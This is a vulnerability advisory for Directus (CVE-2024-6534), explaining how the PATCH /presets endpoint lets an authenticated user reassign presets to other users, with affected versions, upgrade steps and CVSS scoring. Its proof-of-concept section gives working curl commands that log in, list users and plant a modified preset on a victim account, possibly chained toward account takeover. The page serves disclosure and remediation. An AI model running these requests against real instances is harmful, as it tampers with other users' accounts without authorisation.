Skip to content

GHSA-3fff-gqw3-vj86 CVE-2024-6534

Directus has an insecure object reference via PATH presets

Medium npm
Severity
4.1 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.33%
Chance of exploitation in the next 30 days. Higher than 26.09% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-639 Authorization Bypass Through User-Controlled Key
Fix
10.13.2
Upgrade directus to this version or later

Description

Impact

Directus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the POST /presets request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account takeover.

This vulnerability occurs because the application only validates the user parameter in the POST /presets request but not in the PATCH request.

PoC

To exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.

  1. Create a preset for a collection.

Store the preset id, or use it if it already exists from GET /presets. The following example will use the direct_users preset.

TARGET_HOST="http://localhost:8055" ATTACKER_EMAIL="malicious@malicious.com" ATTACKER_PASSWORD="123456" root_dir=$(dirname $0) mkdir "${root_dir}/static" curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \ -c "${root_dir}/static/attacker_directus_session_token" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}" attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") # Store all user's id curl -s -k "${TARGET_HOST}/users" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data[] | select(.id != \"${attacker_user_id}\")" > "${root_dir}/static/users.json"

# Choose the victim user id from the previous request
victim_user_id="4f079119-2478-48c4-bd3a-30fa80c5f265"
users_preset_id=$(curl -s -k -X 'POST' "${TARGET_HOST}/presets" \
  -H 'Content-Type: application/json' \
  -b "${root_dir}/static/attacker_directus_session_token" \
  --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"{{tittle}}\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"  | jq -r '.data.id')
  1. Modify the presets via PATCH /presets/{id}.

With the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from GET /users. The following example modifies the title parameter.

curl -i -s -k -X 'PATCH' "${TARGET_HOST}/presets/${users_preset_id}" \
    -H 'Content-Type: application/json' \
    -b "${root_dir}/static/attacker_directus_session_token" \
    --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${victim_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"PoC Assign another users presets\",\"subtitle\":\"fakeemail@fake.com\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"

Notes:

Each new preset to a specific collection will have an integer consecutive id independent of the user who created it.

The user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.

The app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.

When the victim visits the views of the modified presets, it will be rendered with the new configuration applied.

Affected versions

npm

PackageVulnerableFixed in
directus
< 10.13.2
10.13.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

directus npm → 10.13.2

npm
npm install directus@10.13.2
yarn
yarn add directus@10.13.2
pnpm
pnpm add directus@10.13.2

Severity breakdown

CVSS 3.1 4.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-c6w9-5g5j-jh2p
Directus: Authorization-dependent response served from unsegmented cache key
High Also affects directus
GHSA-j5h6-vqc3-phqh
Directus: SSRF Protection Bypass via 0.0.0.0 in File Import
High Also affects directus
GHSA-38hg-ww64-rrwc
Directus: Authenticated Users Can Extract Concealed Fields via Aggregate Queries
High Also affects directus
GHSA-6q22-g298-grjh
Directus: Unauthenticated Denial of Service via GraphQL Alias Amplification of Expensive Health Check Resolver
High Also affects directus
GHSA-ph52-67fq-75wj
Directus: GraphQL Alias Amplification Denial of Service Due to Missing Query Cost/Complexity Limits
Medium Also affects directus
GHSA-mvv8-v4jj-g47j
Directus: Sensitive fields exposed in revision history
Medium Also affects directus
GHSA-qqmv-5p3g-px89
Directus: TUS Upload Authorization Bypass Allows Arbitrary File Overwrite
High Also affects directus
GHSA-wv3h-5fx7-966h
Directus: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in File Import
High Also affects directus
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor